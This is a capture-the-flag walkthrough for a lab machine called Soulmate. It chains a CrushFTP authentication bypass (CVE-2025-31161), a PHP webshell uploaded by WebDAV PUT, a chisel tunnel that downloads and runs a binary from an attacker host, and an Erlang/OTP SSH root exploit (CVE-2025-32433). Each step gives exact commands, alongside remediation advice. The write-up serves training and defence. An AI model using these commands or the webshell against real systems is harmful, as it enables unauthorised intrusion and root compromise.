← all walkthroughs

Soulmate

Linux· Easy
owned
2026-07-08
time to own
13m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Only SSH and nginx were exposed, and Host-header fuzzing found a second virtual host, ftp.soulmate.htb, running CrushFTP 11. CVE-2025-31161, an authentication bypass in the WebInterface, let me create a new administrative account without credentials.

Logged in as that account, I found that the /WEBPROD/ share was writable and served by the main site, and wrote a PHP webshell there with a WebDAV PUT, giving one-shot command execution as www-data. Using the webshell, I found an Erlang/OTP SSH daemon listening only on 127.0.0.1:2222, exposed it with a chisel reverse tunnel, and ran Metasploit's CVE-2025-32433 module against it, which executed commands as root and read both flags.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export TOKEN="<the-token-you-captured>"
export CHOSEN_PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan (Nmap)
Port scan shows SSH and nginx; the site redirects to soulmate.htb
A full TCP scan found only 22/tcp ssh and 80/tcp http (nginx 1.18.0 on Ubuntu). The web root redirected to the virtual host soulmate.htb, so I mapped that name, and the ftp.soulmate.htb name found in the next step, to the target in /etc/hosts.
22/tcp ssh, 80/tcp http (nginx 1.18.0, Ubuntu); / redirects to soulmate.htb.
Exact commands 2
shell

Full-port scan.

$ nmap -Pn -p- --min-rate 5000 -T4 $TARGET
shell

Maps both virtual hosts to the target.

$ printf "$TARGET soulmate.htb ftp.soulmate.htb\n" | sudo tee -a /etc/hosts >/dev/null
2EnumerationVirtual-host enumeration
Host-header fuzzing finds ftp.soulmate.htb running CrushFTP 11
Unknown Host values got the same 154-byte default response, so ffuf filtered on that size; the one name that answered differently was ftp. Requesting ftp.soulmate.htb returned a CrushFTP WebInterface behind the same nginx, reporting Version 11, build 11.W.657-2025_03_08_07_52.
<app_version>Version 11</app_version> build 11.W.657-2025_03_08_07_52; Server: nginx/1.18.0 (Ubuntu)
Exact commands 2
shell

-fs 154 hides the default response; ftp is the hit.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.soulmate.htb' -w subdomains-top1million-5000.txt -fs 154 -t 60
shell

Shows the CrushFTP WebInterface.

$ curl -sS -i --max-time 8 http://ftp.soulmate.htb/ | sed -n '1,80p'
3ExploitationCrushFTP authentication bypass (CVE-2025-31161)
CVE-2025-31161 creates an admin-equivalent CrushFTP account
This CrushFTP build is affected by CVE-2025-31161, an authentication bypass in /WebInterface/function/ that lets an unauthenticated caller create a privileged user. The public exploit script 52295.py was run first in --check mode to confirm the flaw, then in --exploit mode to create a new administrative account, with a name and password of my choosing, using the existing crushadmin user as the exploit's target account.
[+] Successfully created user $USERNAME on ftp.soulmate.htb
Exact commands 2
shell

Confirms the target is vulnerable.

$ python3 52295.py --target ftp.soulmate.htb --port 80 --check --deep-check --verbose
shell

Creates the account with the name and password you pick.

$ python3 52295.py --target ftp.soulmate.htb --port 80 --exploit --new-user $USERNAME --password "$CHOSEN_PASSWORD" --target-user crushadmin --verbose
FixPatch CrushFTP to close the authentication bypass (CVE-2025-31161)Critical
WeaknessCrushFTP 11 (build 11.W.657-2025_03_08_07_52) let an unauthenticated caller of /WebInterface/function/ create a new privileged user, handing out administrative access to anyone who could reach the interface.
FixUpgrade CrushFTP to a release that fixes CVE-2025-31161. Until then, restrict the WebInterface on ftp.soulmate.htb to trusted administrator addresses at nginx or the firewall, and review the user list for accounts nobody created.
4Post-Auth EnumerationCrushFTP admin API and VFS enumeration
As the new account, the VFS shows a writable /WEBPROD/ share
I logged in to the WebInterface as the new account, keeping the session in a cookie jar, and called the admin API. GetUserInfo and getUserList for the MainUsers group succeeded, which confirmed administrative API rights, and listed five accounts. GetXMLListing walked the virtual file system. The user ben held read and write on /WEBPROD/, the share that backs the main site's web root.
<user_list_subitem>ben|$USERNAME|crushadmin|default|jenna</user_list_subitem>; <item name="/WEBPROD/">(read)(write)(view)(resume)</item>
Exact commands 2
shell

Logs in and stores the session in cj.

$ curl -c cj -b cj --resolve ftp.soulmate.htb:80:$TARGET "http://ftp.soulmate.htb/WebInterface/function/?command=login&username=$USERNAME&password=$CHOSEN_PASSWORD"
shell

$TOKEN is the c2f value CrushFTP issues with the session cookie.

$ curl -b cj --resolve ftp.soulmate.htb:80:$TARGET "http://ftp.soulmate.htb/WebInterface/function/?command=getXMLListing&path=/&c2f=$TOKEN"
FixRemove write access to the web root from CrushFTP VFS sharesHigh
WeaknessThe /WEBPROD/ share was writable through CrushFTP and served directly by the main site, so anyone holding a CrushFTP session with write rights could place executable files on the public web server.
FixAudit every VFS mapping and remove write permission from any path under a web server's document root. If files must reach the site through FTP, deliver them to a staging directory outside the web root and move only approved file types into place with a controlled job. Give each account write access only where it needs it.
5FootholdAuthenticated VFS write of a PHP webshell (T1505.003)
WebDAV PUT drops cx.php into /WEBPROD/ for command execution as www-data
The function API's upload command to /WEBPROD/ came back as 502 Bad Gateway from nginx, so I wrote the file over WebDAV instead. A PUT of cx.php, a one-line system($_GET['cmd']) shell, to /WEBPROD/ made it reachable at http://soulmate.htb/cx.php without any login, and id ran as www-data. A reverse shell launched through it never called back, so every later step was a single cmd= request. Without a real shell, globs such as /home/*/user.txt do not expand; use literal paths.
PUT /WEBPROD/cx.php succeeded; cmd=id executed as www-data.
Exact commands 3
shell

The webshell.

$ printf '%s' '<?php system($_GET["cmd"]); ?>' > cx.php
shell

Curl -T sends a PUT, which CrushFTP handles as a WebDAV upload.

$ curl -sS -b cj --resolve ftp.soulmate.htb:80:$TARGET -T cx.php http://ftp.soulmate.htb/WEBPROD/cx.php
shell

Runs one command per request as www-data.

$ curl --resolve soulmate.htb:80:$TARGET --get --data-urlencode "cmd=id" http://soulmate.htb/cx.php
FixBlock PHP execution in directories other services can write toCritical
Weaknessnginx executed any .php file that appeared in the web root, so a file written through CrushFTP ran on the next HTTP request as www-data, with no authentication.
FixDeny PHP execution in every path an external service can write to, for example a location block for \.php$ with deny all scoped to that directory. Have the FTP service enforce an allowlist of non-executable extensions on any share that overlaps a web-served path.
6Lateral Movement / PivotReverse tunnel with chisel (T1572)
Loopback-only Erlang/OTP SSH on 2222, exposed with a chisel reverse tunnel
Inspecting services from the webshell turned up an SSH daemon bound only to 127.0.0.1:2222 whose banner was SSH-2.0-Erlang/5.2.9, the Erlang/OTP SSH implementation affected by CVE-2025-32433, a pre-authentication RCE in its protocol message handling. To reach it, I ran a chisel server in reverse mode on port 8001, served the chisel binary over HTTP on port 9000, and used cx.php to download it and start the client in the background, forwarding my local port 12222 to the target's 127.0.0.1:2222.
127.0.0.1:2222 banner: SSH-2.0-Erlang/5.2.9
Exact commands 3
shell

On the attacking host.

$ chisel server -p 8001 --reverse
shell

Sent through cx.php as the cmd value.

$ curl http://$ATTACKER_IP:9000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
shell

Sent through cx.php and run in the background; my 127.0.0.1:12222 now reaches the Erlang SSH daemon.

$ /tmp/chisel client $ATTACKER_IP:8001 R:12222:127.0.0.1:2222
FixPatch Erlang/OTP SSH and stop running it as rootCritical
WeaknessAn Erlang/OTP SSH daemon (SSH-2.0-Erlang/5.2.9) vulnerable to CVE-2025-32433 ran as root on 127.0.0.1:2222. Binding it to loopback only kept it off the network; any local code execution, here a www-data webshell, could tunnel to it and run commands as root without authenticating.
FixUpgrade Erlang/OTP to a release that fixes CVE-2025-32433, or disable the SSH daemon if it is not needed. Run it under an unprivileged account, and block outbound connections from the web-server user so tunnels such as chisel cannot be set up.
7Privilege EscalationErlang/OTP SSH pre-auth RCE (CVE-2025-32433)
CVE-2025-32433 through the tunnel runs commands as root
Metasploit's exploit/linux/ssh/ssh_erlangotp_rce was pointed at the tunnel (RHOSTS 127.0.0.1, RPORT 12222) with TARGET 1 and the cmd/unix/generic payload. Its CMD wrote id and both flags to files in /tmp. The Erlang SSH daemon ran as root, so the command did too; reading the three files back through cx.php showed uid=0(root) and the flags, with no SSH login as ben or jenna needed.
Uid=0(root); /tmp/userflag held <user.txt> and /tmp/rootflag held <root.txt>.
Exact commands 2
shell

Runs against the tunnelled port; the command executes as root on the target.

$ msfconsole -q -x '
use exploit/linux/ssh/ssh_erlangotp_rce
set RHOSTS 127.0.0.1
set RPORT 12222
set TARGET 1
set PAYLOAD cmd/unix/generic
set CMD "/bin/sh -c '\''id > /tmp/erlang_id; cat /home/ben/user.txt > /tmp/userflag; cat /root/root.txt > /tmp/rootflag'\''"
run; exit'
shell

Sent through cx.php; shows uid=0(root), <user.txt> and <root.txt>.

$ cat /tmp/erlang_id /tmp/userflag /tmp/rootflag

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Exposed services

22/tcp
80/tcp